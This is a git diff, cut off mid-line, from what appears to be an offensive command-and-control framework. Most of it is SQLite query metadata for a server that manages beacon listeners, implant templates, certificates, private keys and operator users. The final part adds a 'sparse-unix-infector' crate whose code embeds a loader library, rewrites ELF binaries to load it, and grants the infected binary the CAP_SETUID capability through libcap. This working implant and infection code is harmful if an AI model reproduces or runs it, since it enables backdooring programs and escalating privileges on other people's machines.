b/sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM beacon_category WHERE category_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6" +} diff --git a/sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json b/sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json new file mode 100644 index 0000000..0cb5a50 --- /dev/null +++ b/sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO users (user_name, password_hash) VALUES (?, \"\")", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70" +} diff --git a/sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json b/sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json new file mode 100644 index 0000000..37324af --- /dev/null +++ b/sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json @@ -0,0 +1,20 @@ +{ + "db_name": "SQLite", + "query": "SELECT COUNT(*) FROM users WHERE user_name = ?", + "describe": { + "columns": [ + { + "name": "COUNT(*)", + "ordinal": 0, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + false + ] + }, + "hash": "3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111" +} diff --git a/sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json b/sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json new file mode 100644 index 0000000..09b87e6 --- /dev/null +++ b/sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json @@ -0,0 +1,32 @@ +{ + "db_name": "SQLite", + "query": "SELECT user_id, user_name, last_active FROM users", + "describe": { + "columns": [ + { + "name": "user_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "user_name", + "ordinal": 1, + "type_info": "Text" + }, + { + "name": "last_active", + "ordinal": 2, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false, + true + ] + }, + "hash": "4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9" +} diff --git a/sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json b/sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json new file mode 100644 index 0000000..1d3fec6 --- /dev/null +++ b/sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM sessions WHERE session_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201" +} diff --git a/sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json b/sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json new file mode 100644 index 0000000..7169283 --- /dev/null +++ b/sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "UPDATE users SET password_hash = ? WHERE user_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577" +} diff --git a/sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json b/sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json new file mode 100644 index 0000000..2f193a6 --- /dev/null +++ b/sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json @@ -0,0 +1,20 @@ +{ + "db_name": "SQLite", + "query": "SELECT listener_id FROM beacon_listener", + "describe": { + "columns": [ + { + "name": "listener_id", + "ordinal": 0, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false + ] + }, + "hash": "844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c" +} diff --git a/sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json b/sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json new file mode 100644 index 0000000..9f2d4fc --- /dev/null +++ b/sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json @@ -0,0 +1,26 @@ +{ + "db_name": "SQLite", + "query": "SELECT user_id, user_name FROM users;", + "describe": { + "columns": [ + { + "name": "user_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "user_name", + "ordinal": 1, + "type_info": "Text" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false + ] + }, + "hash": "86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60" +} diff --git a/sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json b/sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json new file mode 100644 index 0000000..5308033 --- /dev/null +++ b/sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "UPDATE users SET last_active = ? WHERE user_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b" +} diff --git a/sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json b/sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json new file mode 100644 index 0000000..7412902 --- /dev/null +++ b/sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "UPDATE sessions SET expires = ? WHERE session_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9" +} diff --git a/sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json b/sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json new file mode 100644 index 0000000..fc898b3 --- /dev/null +++ b/sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json @@ -0,0 +1,38 @@ +{ + "db_name": "SQLite", + "query": "SELECT listener_id, port, public_ip, domain_name FROM beacon_listener", + "describe": { + "columns": [ + { + "name": "listener_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "port", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "public_ip", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "domain_name", + "ordinal": 3, + "type_info": "Text" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false, + false, + false + ] + }, + "hash": "9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2" +} diff --git a/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json b/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json new file mode 100644 index 0000000..59a8b00 --- /dev/null +++ b/sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 11 + }, + "nullable": [] + }, + "hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b" +} diff --git a/sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json b/sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json new file mode 100644 index 0000000..f74eb7e --- /dev/null +++ b/sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_config (config_name, mode, regular_interval) VALUES (?, 'regular', ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a" +} diff --git a/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json b/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json new file mode 100644 index 0000000..f402ac6 --- /dev/null +++ b/sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 9 + }, + "nullable": [] + }, + "hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5" +} diff --git a/sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json b/sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json new file mode 100644 index 0000000..84eb987 --- /dev/null +++ b/sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_listener (port, public_ip, domain_name, certificate, privkey) VALUES (?, ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 5 + }, + "nullable": [] + }, + "hash": "bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65" +} diff --git a/sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json b/sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json new file mode 100644 index 0000000..fd9bf4d --- /dev/null +++ b/sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_category (category_name) VALUES (?)", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169" +} diff --git a/sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json b/sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json new file mode 100644 index 0000000..ebec12a --- /dev/null +++ b/sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM beacon_config WHERE config_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607" +} diff --git a/sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json b/sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json new file mode 100644 index 0000000..c766ffe --- /dev/null +++ b/sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_config (config_name, mode) VALUES (?, 'single')", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2" +} diff --git a/sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json b/sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json new file mode 100644 index 0000000..7004b97 --- /dev/null +++ b/sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json @@ -0,0 +1,38 @@ +{ + "db_name": "SQLite", + "query": "SELECT * FROM users WHERE user_name = ?", + "describe": { + "columns": [ + { + "name": "user_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "user_name", + "ordinal": 1, + "type_info": "Text" + }, + { + "name": "password_hash", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "last_active", + "ordinal": 3, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + false, + false, + false, + true + ] + }, + "hash": "e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f" +} diff --git a/sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json b/sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json new file mode 100644 index 0000000..c9c4e10 --- /dev/null +++ b/sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM beacon_listener WHERE listener_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4" +} diff --git a/sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json b/sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json new file mode 100644 index 0000000..91ec452 --- /dev/null +++ b/sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json @@ -0,0 +1,38 @@ +{ + "db_name": "SQLite", + "query": "SELECT users.user_id, user_name, password_hash, last_active FROM users INNER JOIN sessions WHERE session_id = ? AND expires > ?", + "describe": { + "columns": [ + { + "name": "user_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "user_name", + "ordinal": 1, + "type_info": "Text" + }, + { + "name": "password_hash", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "last_active", + "ordinal": 3, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 2 + }, + "nullable": [ + false, + false, + false, + true + ] + }, + "hash": "e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b" +} diff --git a/sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json b/sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json new file mode 100644 index 0000000..5fee44a --- /dev/null +++ b/sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT * FROM beacon_listener WHERE listener_id = ?", + "describe": { + "columns": [ + { + "name": "listener_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "port", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "public_ip", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "domain_name", + "ordinal": 3, + "type_info": "Text" + }, + { + "name": "certificate", + "ordinal": 4, + "type_info": "Blob" + }, + { + "name": "privkey", + "ordinal": 5, + "type_info": "Blob" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + false, + false, + false, + false, + false, + false + ] + }, + "hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69" +} diff --git a/sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json b/sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json new file mode 100644 index 0000000..3a0914b --- /dev/null +++ b/sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json @@ -0,0 +1,26 @@ +{ + "db_name": "SQLite", + "query": "SELECT * FROM beacon_category", + "describe": { + "columns": [ + { + "name": "category_id", + "ordinal": 0, + "type_info": "Integer" + }, + { + "name": "category_name", + "ordinal": 1, + "type_info": "Text" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false + ] + }, + "hash": "ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc" +} diff --git a/sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json b/sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json new file mode 100644 index 0000000..6bd8329 --- /dev/null +++ b/sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json @@ -0,0 +1,26 @@ +{ + "db_name": "SQLite", + "query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?", + "describe": { + "columns": [ + { + "name": "certificate", + "ordinal": 0, + "type_info": "Blob" + }, + { + "name": "privkey", + "ordinal": 1, + "type_info": "Blob" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + false, + false + ] + }, + "hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342" +} diff --git a/sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json b/sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json new file mode 100644 index 0000000..acadcdc --- /dev/null +++ b/sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "UPDATE beacon_category SET category_name = ? WHERE category_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38" +} diff --git a/sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json b/sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json new file mode 100644 index 0000000..a4e3276 --- /dev/null +++ b/sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "DELETE FROM users WHERE user_id = ?", + "describe": { + "columns": [], + "parameters": { + "Right": 1 + }, + "nullable": [] + }, + "hash": "fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6" +} diff --git a/sparse-unix-infector/Cargo.toml b/sparse-unix-infector/Cargo.toml index 0b5674d..2a5edd4 100644 --- a/sparse-unix-infector/Cargo.toml +++ b/sparse-unix-infector/Cargo.toml @@ -1,6 +1,9 @@ [package] -name = "sparse-infector" -edition = "2024" +name = "sparse-unix-infector" +edition = "2021" version.workspace = true [dependencies] +libc = "0.2.169" +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +errno = "0.3" diff --git a/sparse-unix-infector/build.rs b/sparse-unix-infector/build.rs new file mode 100644 index 0000000..14ec8b0 --- /dev/null +++ b/sparse-unix-infector/build.rs @@ -0,0 +1,9 @@ +fn main() { + include!("../build_common.rs"); + if std::env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("linux") { + let capdir = std::env::var("SPARSE_BUILD_LIBCAP").unwrap(); + println!("cargo:rustc-link-search=native={capdir}/lib"); + println!("cargo:rustc-link-lib=static=cap"); + println!("cargo:rustc-link-lib=static=psx"); + } +} diff --git a/sparse-unix-infector/src/elf_types.rs b/sparse-unix-infector/src/elf_types.rs new file mode 100644 index 0000000..b6ba259 --- /dev/null +++ b/sparse-unix-infector/src/elf_types.rs @@ -0,0 +1,158 @@ +#[derive(Debug)] +pub enum ElfIsa { + X86, + Amd64, +} + +impl ElfIsa { + fn from_machine(machine: u16) -> Option { + match machine { + 0x03 => Some(Self::X86), + 0x3E => Some(Self::Amd64), + _ => None, + } + } +} + +#[repr(C)] +#[derive(Clone)] +pub struct Elf_Hdr { + pub e_ident: [u8; 0x10], + pub e_type: u16, + pub e_machine: u16, + pub e_version: u32, + pub rest: Elf_HdrRest, +} + +impl Elf_Hdr { + pub fn isa(&self) -> Option { + ElfIsa::from_machine(self.e_machine) + } +} + +impl std::fmt::Debug for Elf_Hdr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match ElfIsa::from_machine(self.e_machine) { + Some(ElfIsa::X86) => { + let hdr = unsafe { self.rest.bit32 }; + f.debug_struct("Elf_Hdr") + .field("e_ident", &&self.e_ident[..]) + .field("e_type", &self.e_type) + .field("e_machine", &self.e_machine) + .field("e_version", &self.e_version) + .field("e_isa", &ElfIsa::from_machine(self.e_machine)) + .field("e_entry", &format_args!("0x{:X}", hdr.e_entry)) + .field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff)) + .field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff)) + .field("e_flags", &hdr.e_flags) + .field("e_ehsize", &hdr.e_ehsize) + .field("e_phentsize", &hdr.e_phentsize) + .field("e_phnum", &hdr.e_phnum) + .field("e_shentsize", &hdr.e_shentsize) + .field("e_shnum", &hdr.e_shnum) + .field("e_shstrndx", &hdr.e_shstrndx) + .finish() + } + Some(ElfIsa::Amd64) => { + let hdr = unsafe { self.rest.bit64 }; + f.debug_struct("Elf_Hdr") + .field("e_ident", &&self.e_ident[..]) + .field("e_type", &self.e_type) + .field("e_machine", &self.e_machine) + .field("e_version", &self.e_version) + .field("e_isa", &ElfIsa::from_machine(self.e_machine)) + .field("e_entry", &format_args!("0x{:X}", hdr.e_entry)) + .field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff)) + .field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff)) + .field("e_flags", &hdr.e_flags) + .field("e_ehsize", &hdr.e_ehsize) + .field("e_phentsize", &hdr.e_phentsize) + .field("e_phnum", &hdr.e_phnum) + .field("e_shentsize", &hdr.e_shentsize) + .field("e_shnum", &hdr.e_shnum) + .field("e_shstrndx", &hdr.e_shstrndx) + .finish() + } + None => f + .debug_struct("Elf_Hdr") + .field("e_ident", &&self.e_ident[..]) + .field("e_type", &self.e_type) + .field("e_machine", &self.e_machine) + .field("e_version", &self.e_version) + .field("e_isa", &ElfIsa::from_machine(self.e_machine)) + .finish(), + } + } +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub union Elf_HdrRest { + pub bit64: Elf_64Hdr, + pub bit32: Elf_32Hdr, +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +pub struct Elf_64Hdr { + pub e_entry: u64, + pub e_phoff: u64, + pub e_shoff: u64, + pub e_flags: u32, + pub e_ehsize: u16, + pub e_phentsize: u16, + pub e_phnum: u16, + pub e_shentsize: u16, + pub e_shnum: u16, + pub e_shstrndx: u16, +} + +#[derive(Copy, Clone, Debug)] +#[repr(C)] +pub struct Elf_32Hdr { + pub e_entry: u32, + pub e_phoff: u32, + pub e_shoff: u32, + pub e_flags: u32, + pub e_ehsize: u16, + pub e_phentsize: u16, + pub e_phnum: u16, + pub e_shentsize: u16, + pub e_shnum: u16, + pub e_shstrndx: u16, +} + +#[derive(Copy, Clone, Debug)] +#[repr(C)] +pub struct ProgramHeader_64bit { + pub p_type: u32, + pub p_flags: u32, + pub p_offset: u64, + pub p_vaddr: u64, + pub p_paddr: u64, + pub p_filesz: u64, + pub p_memsz: u64, + pub p_align: u64, +} + +#[derive(Copy, Clone, Debug)] +#[repr(C)] +pub struct SectionHeader_64bit { + pub sh_name: u32, + pub sh_type: u32, + pub sh_flags: u64, + pub sh_addr: u64, + pub sh_offset: u64, + pub sh_size: u64, + pub sh_link: u32, + pub sh_info: u32, + pub sh_addralign: u64, + pub sh_entsize: u64, +} + +#[derive(Copy, Clone, Debug)] +#[repr(C)] +pub struct DTEntry { + pub d_tag: u64, + pub d_val: u64, +} diff --git a/sparse-unix-infector/src/lib.rs b/sparse-unix-infector/src/lib.rs index b93cf3f..18edb66 100644 --- a/sparse-unix-infector/src/lib.rs +++ b/sparse-unix-infector/src/lib.rs @@ -1,14 +1,345 @@ -pub fn add(left: u64, right: u64) -> u64 { - left + right -} +use std::{ + io::{prelude::*, Error, SeekFrom}, + path::Path, + slice, +}; -#[cfg(test)] -mod tests { - use super::*; +use sparse_actions::payload_types::Parameters; - #[test] - fn it_works() { - let result = add(2, 2); - assert_eq!(result, 4); +mod elf_types; +use elf_types::*; + +#[cfg(not(debug_assertions))] +pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LOADER")); +#[cfg(all(debug_assertions, target_os = "linux"))] +pub const SPARSE_LIBRARY: &'static [u8] = + include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-linux.so"); +#[cfg(all(debug_assertions, target_os = "freebsd"))] +pub const SPARSE_LIBRARY: &'static [u8] = + include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-freebsd.so"); + +pub fn infect_elf_binary( + binary_path: BP, + target_library_path: LP, + sparse_parameters: &Parameters, +) -> Result<(), Error> +where + BP: AsRef, + LP: AsRef, +{ + std::fs::write(&target_library_path, SPARSE_LIBRARY)?; + + let mut binary = std::fs::OpenOptions::new() + .read(true) + .write(true) + .truncate(false) + .open(&binary_path)?; + + binary.seek(SeekFrom::End(0))?; + let end = binary.stream_position()?; + binary.seek(SeekFrom::Start(0))?; + + let mut binary_data = Vec::with_capacity(end as usize); + binary.read_to_end(&mut binary_data)?; + + let header: &Elf_Hdr = unsafe { &*(binary_data.as_ptr() as *const Elf_Hdr) }; + + let Some(isa) = header.isa() else { + panic!("Unknown binary type"); + }; + + if let ElfIsa::Amd64 = isa { + infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?; + + #[cfg(target_os = "linux")] + { + use libc::c_int; + + #[repr(C)] + struct CapT { + __private: [u8; 0], + } + + type CapValue = c_int; + + // cap_flag_t + const CAP_EFFECTIVE: u8 = 0; + const CAP_PERMITTED: u8 = 1; + const CAP_INHERITABLE: u8 = 2; + + // cap_flag_value_t + const CAP_SET: u8 = 0; + + extern "C" { + fn cap_free(cap: *mut CapT) -> c_int; + fn cap_get_file(filename: *const i8) -> *mut CapT; + fn cap_set_flag( + cap: *mut CapT, + cap_flag: u8, + count: c_int, + cap_flag_value: *const CapValue, + cap_flag_value_t: u8, + ) -> c_int; + fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int; + } + + // CAP_SETUID + let cap_list = [7]; + + unsafe { + let path = std::ffi::CString::new( + binary_path + .as_ref() + .to_str() + .expect("could not convert binary path to string"), + ) + .expect("could not convert binary path to string"); + let current_caps = cap_get_file(path.as_ptr()); + + println!( + "Result of setting effective caps: {} (errno: 